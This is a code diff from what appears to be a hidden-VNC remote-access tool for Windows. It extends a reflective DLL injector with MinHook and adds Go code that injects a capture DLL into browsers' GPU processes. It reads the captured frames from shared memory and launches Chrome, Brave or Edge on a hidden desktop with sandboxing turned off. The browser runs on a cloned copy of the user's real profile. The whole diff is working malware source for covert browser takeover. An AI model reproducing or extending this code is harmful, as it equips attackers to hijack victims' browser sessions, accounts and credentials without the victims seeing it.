<TargetMachine>MachineX64</TargetMachine>
|
||||
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
|
||||
@@ -245,6 +245,7 @@
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
@@ -259,7 +260,6 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
|
||||
@@ -272,13 +272,28 @@
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||
<ClCompile Include="src\NtApiHooks.c" />
|
||||
<ClCompile Include="Minhook\src\buffer.c">
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Minhook\src\hook.c">
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Minhook\src\trampoline.c">
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Minhook\src\hde\hde32.c">
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Minhook\src\hde\hde64.c">
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\NtApiHooksConfig.h" />
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||
<ClInclude Include="src\NtApiHooks.h" />
|
||||
<ClInclude Include="src\MinHook.h" />
|
||||
<ClInclude Include="Minhook\include\MinHook.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
|
||||
@@ -12,7 +12,6 @@ extern "C" {
|
||||
#include <string.h>
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma comment(lib, "libMinHook.x64.lib")
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
#endif
|
||||
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,318 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
|
||||
// must be kept in sync with HVNCCapture/src/DXGICapture.h.
|
||||
type hvncFrameHeader struct {
|
||||
Magic uint32
|
||||
Version uint32
|
||||
Width uint32
|
||||
Height uint32
|
||||
Stride uint32
|
||||
Format uint32
|
||||
FrameSeq uint64
|
||||
TimestampNs uint64
|
||||
PID uint32
|
||||
Reserved uint32
|
||||
}
|
||||
|
||||
const (
|
||||
hvncFrameMagic = 0x434E5648 // 'HVNC'
|
||||
hvncFrameVersion = 1
|
||||
hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader)
|
||||
hvncShmPrefix = `Local\hvnc_frame_`
|
||||
hvncEventPrefix = `Local\hvnc_evt_`
|
||||
)
|
||||
|
||||
var (
|
||||
procOpenFileMappingW = kernel32.NewProc("OpenFileMappingW")
|
||||
procOpenEventW = kernel32.NewProc("OpenEventW")
|
||||
)
|
||||
|
||||
const (
|
||||
FILE_MAP_READ = 0x0004
|
||||
EVENT_ALL_ACCESS = 0x1F0003
|
||||
SYNCHRONIZE = 0x00100000
|
||||
)
|
||||
|
||||
type hvncFrameReader struct {
|
||||
pid uint32
|
||||
shmHandle uintptr
|
||||
shmView unsafe.Pointer
|
||||
shmSize uintptr
|
||||
evtHandle uintptr
|
||||
lastSeq uint64
|
||||
staleCount int
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
var (
|
||||
hvncFrameReaders = make(map[uint32]*hvncFrameReader)
|
||||
hvncFrameReadersMu sync.Mutex
|
||||
|
||||
hvncGPUPIDMap = make(map[uint32]uint32)
|
||||
)
|
||||
|
||||
func hvncRegisterGPUPID(browserPID, gpuPID uint32) {
|
||||
hvncFrameReadersMu.Lock()
|
||||
hvncGPUPIDMap[browserPID] = gpuPID
|
||||
hvncFrameReadersMu.Unlock()
|
||||
log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
|
||||
}
|
||||
|
||||
func hvncGetFrameReader(pid uint32) *hvncFrameReader {
|
||||
hvncFrameReadersMu.Lock()
|
||||
defer hvncFrameReadersMu.Unlock()
|
||||
|
||||
if r, ok := hvncFrameReaders[pid]; ok {
|
||||
if r.staleCount > 300 {
|
||||
log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
|
||||
r.close()
|
||||
delete(hvncFrameReaders, pid)
|
||||
} else {
|
||||
return r
|
||||
}
|
||||
}
|
||||
|
||||
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid))
|
||||
shmHandle, _, _ := procOpenFileMappingW.Call(
|
||||
FILE_MAP_READ,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(shmName)),
|
||||
)
|
||||
if shmHandle == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
view, _, _ := procMapViewOfFile.Call(
|
||||
shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
hvncFrameHeaderSize,
|
||||
)
|
||||
if view == 0 {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
hdr := (*hvncFrameHeader)(unsafe.Pointer(view))
|
||||
if hdr.Magic != hvncFrameMagic {
|
||||
procUnmapViewOfFile.Call(view)
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
|
||||
|
||||
procUnmapViewOfFile.Call(view)
|
||||
view = 0
|
||||
hdr = nil
|
||||
|
||||
fullView, _, _ := procMapViewOfFile.Call(
|
||||
shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
fullSize,
|
||||
)
|
||||
if fullView == 0 {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView))
|
||||
|
||||
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid))
|
||||
evtHandle, _, _ := procOpenEventW.Call(
|
||||
SYNCHRONIZE,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(evtName)),
|
||||
)
|
||||
|
||||
r := &hvncFrameReader{
|
||||
pid: pid,
|
||||
shmHandle: shmHandle,
|
||||
shmView: unsafe.Pointer(fullView),
|
||||
shmSize: fullSize,
|
||||
evtHandle: evtHandle,
|
||||
}
|
||||
hvncFrameReaders[pid] = r
|
||||
|
||||
log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
|
||||
pid, hdr2.Width, hdr2.Height, fullSize)
|
||||
return r
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
if r.shmView == nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
hdr := (*hvncFrameHeader)(r.shmView)
|
||||
if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
w = int(hdr.Width)
|
||||
h = int(hdr.Height)
|
||||
stride := int(hdr.Stride)
|
||||
|
||||
if w <= 0 || h <= 0 || w > 7680 || h > 4320 || stride <= 0 || stride > 7680*4 {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
dstStride := w * 4
|
||||
if stride < dstStride {
|
||||
return 0, 0, false // stride must be >= w*4
|
||||
}
|
||||
|
||||
needed := w * h * 4
|
||||
if len(dst) < needed {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
if totalNeeded > r.shmSize {
|
||||
r.remap(w, h, stride)
|
||||
if r.shmView == nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
hdr = (*hvncFrameHeader)(r.shmView)
|
||||
if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
|
||||
return 0, 0, false
|
||||
}
|
||||
}
|
||||
|
||||
pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize)
|
||||
srcSize := stride * h
|
||||
src := unsafe.Slice((*byte)(pixelData), srcSize)
|
||||
|
||||
for y := 0; y < h; y++ {
|
||||
srcOff := y * stride
|
||||
dstOff := y * dstStride
|
||||
copy(dst[dstOff:dstOff+dstStride], src[srcOff:srcOff+dstStride])
|
||||
}
|
||||
|
||||
seq := hdr.FrameSeq
|
||||
if seq != r.lastSeq {
|
||||
r.lastSeq = seq
|
||||
r.staleCount = 0
|
||||
} else {
|
||||
r.staleCount++
|
||||
}
|
||||
|
||||
return w, h, true
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) remap(w, h, stride int) {
|
||||
if r.shmView != nil {
|
||||
procUnmapViewOfFile.Call(uintptr(r.shmView))
|
||||
r.shmView = nil
|
||||
}
|
||||
|
||||
newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
view, _, _ := procMapViewOfFile.Call(
|
||||
r.shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
newSize,
|
||||
)
|
||||
if view == 0 {
|
||||
return
|
||||
}
|
||||
r.shmView = unsafe.Pointer(view)
|
||||
r.shmSize = newSize
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) close() {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
if r.shmView != nil {
|
||||
procUnmapViewOfFile.Call(uintptr(r.shmView))
|
||||
r.shmView = nil
|
||||
}
|
||||
if r.shmHandle != 0 {
|
||||
procCloseHandle.Call(r.shmHandle)
|
||||
r.shmHandle = 0
|
||||
}
|
||||
if r.evtHandle != 0 {
|
||||
procCloseHandle.Call(r.evtHandle)
|
||||
r.evtHandle = 0
|
||||
}
|
||||
}
|
||||
|
||||
func hvncCleanupFrameReaders() {
|
||||
hvncFrameReadersMu.Lock()
|
||||
defer hvncFrameReadersMu.Unlock()
|
||||
|
||||
for pid, r := range hvncFrameReaders {
|
||||
r.close()
|
||||
delete(hvncFrameReaders, pid)
|
||||
}
|
||||
for k := range hvncGPUPIDMap {
|
||||
delete(hvncGPUPIDMap, k)
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
hvncInjectedPIDs = make(map[uint32]time.Time)
|
||||
hvncInjectedPIDsMu sync.Mutex
|
||||
)
|
||||
|
||||
func hvncRegisterInjectedPID(pid uint32) {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
hvncInjectedPIDs[pid] = time.Now()
|
||||
hvncInjectedPIDsMu.Unlock()
|
||||
}
|
||||
|
||||
func hvncGetInjectedPIDs() []uint32 {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
defer hvncInjectedPIDsMu.Unlock()
|
||||
pids := make([]uint32, 0, len(hvncInjectedPIDs))
|
||||
for pid := range hvncInjectedPIDs {
|
||||
pids = append(pids, pid)
|
||||
}
|
||||
return pids
|
||||
}
|
||||
|
||||
func hvncUnregisterInjectedPID(pid uint32) {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
delete(hvncInjectedPIDs, pid)
|
||||
hvncInjectedPIDsMu.Unlock()
|
||||
}
|
||||
|
||||
func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
|
||||
if len(data) < hvncFrameHeaderSize {
|
||||
return nil, false
|
||||
}
|
||||
hdr := &hvncFrameHeader{
|
||||
Magic: binary.LittleEndian.Uint32(data[0:4]),
|
||||
Version: binary.LittleEndian.Uint32(data[4:8]),
|
||||
Width: binary.LittleEndian.Uint32(data[8:12]),
|
||||
Height: binary.LittleEndian.Uint32(data[12:16]),
|
||||
Stride: binary.LittleEndian.Uint32(data[16:20]),
|
||||
Format: binary.LittleEndian.Uint32(data[20:24]),
|
||||
FrameSeq: binary.LittleEndian.Uint64(data[24:32]),
|
||||
TimestampNs: binary.LittleEndian.Uint64(data[32:40]),
|
||||
PID: binary.LittleEndian.Uint32(data[40:44]),
|
||||
Reserved: binary.LittleEndian.Uint32(data[44:48]),
|
||||
}
|
||||
if hdr.Magic != hvncFrameMagic {
|
||||
return nil, false
|
||||
}
|
||||
return hdr, true
|
||||
}
|
||||
@@ -4,16 +4,17 @@ package capture
|
||||
|
||||
import "errors"
|
||||
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
@@ -35,6 +35,9 @@ var (
|
||||
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||
|
||||
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||
|
||||
var hvncDXGIStatusCallback atomic.Value
|
||||
|
||||
const (
|
||||
PROCESS_CREATE_THREAD = 0x0002
|
||||
@@ -99,7 +102,7 @@ func enableDebugPrivilege() {
|
||||
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
||||
// injects the reflective DLL, then resumes it.
|
||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
|
||||
if filePath == "" {
|
||||
return fmt.Errorf("empty file path")
|
||||
}
|
||||
@@ -108,11 +111,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
|
||||
}
|
||||
|
||||
result, err := executeHVNCTask(hvncTask{
|
||||
kind: hvncTaskStartProcessInjected,
|
||||
filePath: filePath,
|
||||
dllBytes: dllBytes,
|
||||
searchPath: searchPath,
|
||||
replacePath: replacePath,
|
||||
kind: hvncTaskStartProcessInjected,
|
||||
filePath: filePath,
|
||||
dllBytes: dllBytes,
|
||||
captureDllBytes: captureDllBytes,
|
||||
searchPath: searchPath,
|
||||
replacePath: replacePath,
|
||||
}, 30*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -124,7 +128,10 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
|
||||
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
||||
// If clone is false, it starts the browser with injection but no path redirection.
|
||||
// browser should be one of: "chrome", "brave", "edge".
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
|
||||
if onDXGIStatus != nil {
|
||||
hvncDXGIStatusCallback.Store(onDXGIStatus)
|
||||
}
|
||||
info, ok := browserInfoMap[strings.ToLower(browser)]
|
||||
if !ok {
|
||||
return fmt.Errorf("unknown browser %q", browser)
|
||||
@@ -151,7 +158,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
|
||||
if !clone {
|
||||
log.Printf("hvnc %s: starting without profile cloning", info.name)
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, "", "")
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
|
||||
}
|
||||
|
||||
realUserData := getBrowserUserDataDir(info)
|
||||
@@ -188,12 +195,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
}
|
||||
}
|
||||
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
|
||||
}
|
||||
|
||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil)
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil)
|
||||
}
|
||||
|
||||
type browserInfo struct {
|
||||
@@ -660,7 +667,7 @@ func calcDirSize(dir string) int64 {
|
||||
return total
|
||||
}
|
||||
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
|
||||
if filePath == "" {
|
||||
return fmt.Errorf("empty file path")
|
||||
}
|
||||
@@ -712,9 +719,170 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
|
||||
procCloseHandle.Call(hThread)
|
||||
|
||||
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
|
||||
|
||||
if len(captureDllBytes) > 0 {
|
||||
go hvncDeferredGPUInject(pid, captureDllBytes)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
||||
time.Sleep(4 * time.Second)
|
||||
|
||||
for attempt := 0; attempt < 15; attempt++ {
|
||||
gpuPID, err := findGPUChildProcess(browserPID)
|
||||
if err != nil {
|
||||
log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
|
||||
time.Sleep(2 * time.Second)
|
||||
continue
|
||||
}
|
||||
|
||||
log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
|
||||
|
||||
hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
|
||||
if hProcess == 0 {
|
||||
log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
|
||||
return
|
||||
}
|
||||
|
||||
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
|
||||
log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
||||
procCloseHandle.Call(hProcess)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
|
||||
}
|
||||
return
|
||||
}
|
||||
procCloseHandle.Call(hProcess)
|
||||
|
||||
log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
|
||||
hvncRegisterInjectedPID(gpuPID)
|
||||
hvncRegisterGPUPID(browserPID, gpuPID)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(false, 0, "DXGI injection failed: GPU process not found")
|
||||
}
|
||||
}
|
||||
|
||||
func findGPUChildProcess(parentPID uint32) (uint32, error) {
|
||||
children := findChildPIDs(parentPID)
|
||||
if len(children) == 0 {
|
||||
return 0, fmt.Errorf("no child processes")
|
||||
}
|
||||
|
||||
for _, childPID := range children {
|
||||
if hasLoadedModule(childPID, "d3d11.dll") {
|
||||
return childPID, nil
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("none of %d children have d3d11.dll", len(children))
|
||||
}
|
||||
|
||||
type processEntry32W struct {
|
||||
Size uint32
|
||||
CntUsage uint32
|
||||
ProcessID uint32
|
||||
DefaultHeapID uintptr
|
||||
ModuleID uint32
|
||||
CntThreads uint32
|
||||
ParentProcessID uint32
|
||||
PriClassBase int32
|
||||
Flags uint32
|
||||
ExeFile [260]uint16
|
||||
}
|
||||
|
||||
type moduleEntry32W struct {
|
||||
Size uint32
|
||||
ModuleID uint32
|
||||
ProcessID uint32
|
||||
GlblcntUsage uint32
|
||||
ProccntUsage uint32
|
||||
ModBaseAddr uintptr
|
||||
ModBaseSize uint32
|
||||
HModule uintptr
|
||||
SzModule [256]uint16
|
||||
SzExePath [260]uint16
|
||||
}
|
||||
|
||||
var (
|
||||
procCreateToolhelp32Snapshot = kernel32.NewProc("CreateToolhelp32Snapshot")
|
||||
procProcess32FirstW = kernel32.NewProc("Process32FirstW")
|
||||
procProcess32NextW = kernel32.NewProc("Process32NextW")
|
||||
procModule32FirstW = kernel32.NewProc("Module32FirstW")
|
||||
procModule32NextW = kernel32.NewProc("Module32NextW")
|
||||
)
|
||||
|
||||
const (
|
||||
TH32CS_SNAPPROCESS = 0x00000002
|
||||
TH32CS_SNAPMODULE = 0x00000008
|
||||
TH32CS_SNAPMODULE32 = 0x00000010
|
||||
)
|
||||
|
||||
func findChildPIDs(parentPID uint32) []uint32 {
|
||||
snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPPROCESS, 0)
|
||||
if snap == 0 || snap == ^uintptr(0) {
|
||||
return nil
|
||||
}
|
||||
defer procCloseHandle.Call(snap)
|
||||
|
||||
var entry processEntry32W
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
ret, _, _ := procProcess32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
|
||||
if ret == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var children []uint32
|
||||
for {
|
||||
if entry.ParentProcessID == parentPID && entry.ProcessID != parentPID {
|
||||
children = append(children, entry.ProcessID)
|
||||
}
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
ret, _, _ = procProcess32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return children
|
||||
}
|
||||
|
||||
func hasLoadedModule(pid uint32, moduleName string) bool {
|
||||
snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPMODULE|TH32CS_SNAPMODULE32, uintptr(pid))
|
||||
if snap == 0 || snap == ^uintptr(0) {
|
||||
return false
|
||||
}
|
||||
defer procCloseHandle.Call(snap)
|
||||
|
||||
var entry moduleEntry32W
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
ret, _, _ := procModule32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
|
||||
if ret == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
target := strings.ToLower(moduleName)
|
||||
for {
|
||||
name := strings.ToLower(syscall.UTF16ToString(entry.SzModule[:]))
|
||||
if name == target {
|
||||
return true
|
||||
}
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
ret, _, _ = procModule32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func terminateProcess(hProcess uintptr) {
|
||||
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
|
||||
}
|
||||
@@ -771,7 +939,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
|
||||
}
|
||||
baseName := strings.ToLower(filepath.Base(filePath))
|
||||
if browserExes[baseName] {
|
||||
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu"
|
||||
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox"
|
||||
} else if baseName == "firefox.exe" {
|
||||
args += " -no-remote -wait-for-browser"
|
||||
}
|
||||
|
||||
@@ -15,6 +15,10 @@ func CleanupHVNCDesktop() {}
|
||||
|
||||
func SetHVNCCursorCapture(enabled bool) {}
|
||||
|
||||
func SetHVNCDXGIEnabled(enabled bool) {}
|
||||
|
||||
func GetHVNCDXGIEnabled() bool { return false }
|
||||
|
||||
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
return nil, errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
@@ -203,20 +203,21 @@ const (
|
||||
)
|
||||
|
||||
type hvncTask struct {
|
||||
kind hvncTaskKind
|
||||
id uint64
|
||||
display int
|
||||
filePath string
|
||||
x int32
|
||||
y int32
|
||||
button int
|
||||
vk uint16
|
||||
delta int32
|
||||
dllBytes []byte
|
||||
searchPath string
|
||||
replacePath string
|
||||
queuedAt time.Time
|
||||
resp chan hvncTaskResult
|
||||
kind hvncTaskKind
|
||||
id uint64
|
||||
display int
|
||||
filePath string
|
||||
x int32
|
||||
y int32
|
||||
button int
|
||||
vk uint16
|
||||
delta int32
|
||||
dllBytes []byte
|
||||
captureDllBytes []byte
|
||||
searchPath string
|
||||
replacePath string
|
||||
queuedAt time.Time
|
||||
resp chan hvncTaskResult
|
||||
}
|
||||
|
||||
type hvncTaskResult struct {
|
||||
@@ -360,6 +361,10 @@ func CleanupHVNCDesktop() {
|
||||
hvncDesktopMu.Lock()
|
||||
defer hvncDesktopMu.Unlock()
|
||||
|
||||
hvncCleanupFrameReaders()
|
||||
|
||||
hvncFreeCapCache()
|
||||
|
||||
for _, entry := range hvncWinCache {
|
||||
hvncFreeCacheEntry(entry)
|
||||
}
|
||||
@@ -475,7 +480,7 @@ func ensureHVNCThread() error {
|
||||
case hvncTaskStartProcess:
|
||||
result.err = startHVNCProcessOnThread(task.filePath)
|
||||
case hvncTaskStartProcessInjected:
|
||||
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath)
|
||||
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
|
||||
case hvncTaskMouseMove:
|
||||
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
|
||||
case hvncTaskMouseDown:
|
||||
@@ -710,13 +715,86 @@ func hvncTaskDetails(task hvncTask) string {
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
hvncCapHDCScreen uintptr
|
||||
hvncCapHDCMem uintptr
|
||||
hvncCapHBMP uintptr
|
||||
hvncCapBits unsafe.Pointer
|
||||
hvncCapW int
|
||||
hvncCapH int
|
||||
hvncCapImg *image.RGBA
|
||||
)
|
||||
|
||||
func hvncFreeCapCache() {
|
||||
if hvncCapHBMP != 0 {
|
||||
deleteObject(hvncCapHBMP)
|
||||
hvncCapHBMP = 0
|
||||
}
|
||||
if hvncCapHDCMem != 0 {
|
||||
deleteDC(hvncCapHDCMem)
|
||||
hvncCapHDCMem = 0
|
||||
}
|
||||
if hvncCapHDCScreen != 0 {
|
||||
releaseDC(0, hvncCapHDCScreen)
|
||||
hvncCapHDCScreen = 0
|
||||
}
|
||||
hvncCapBits = nil
|
||||
hvncCapW = 0
|
||||
hvncCapH = 0
|
||||
hvncCapImg = nil
|
||||
}
|
||||
|
||||
func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
|
||||
